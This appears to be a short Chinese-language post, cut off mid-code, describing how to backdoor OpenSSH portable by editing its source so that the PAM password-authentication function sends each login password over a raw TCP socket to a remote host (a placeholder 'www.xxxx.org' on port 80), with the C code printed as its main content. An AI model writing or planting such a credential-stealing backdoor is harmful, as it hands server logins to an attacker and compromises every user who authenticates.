第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展 autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c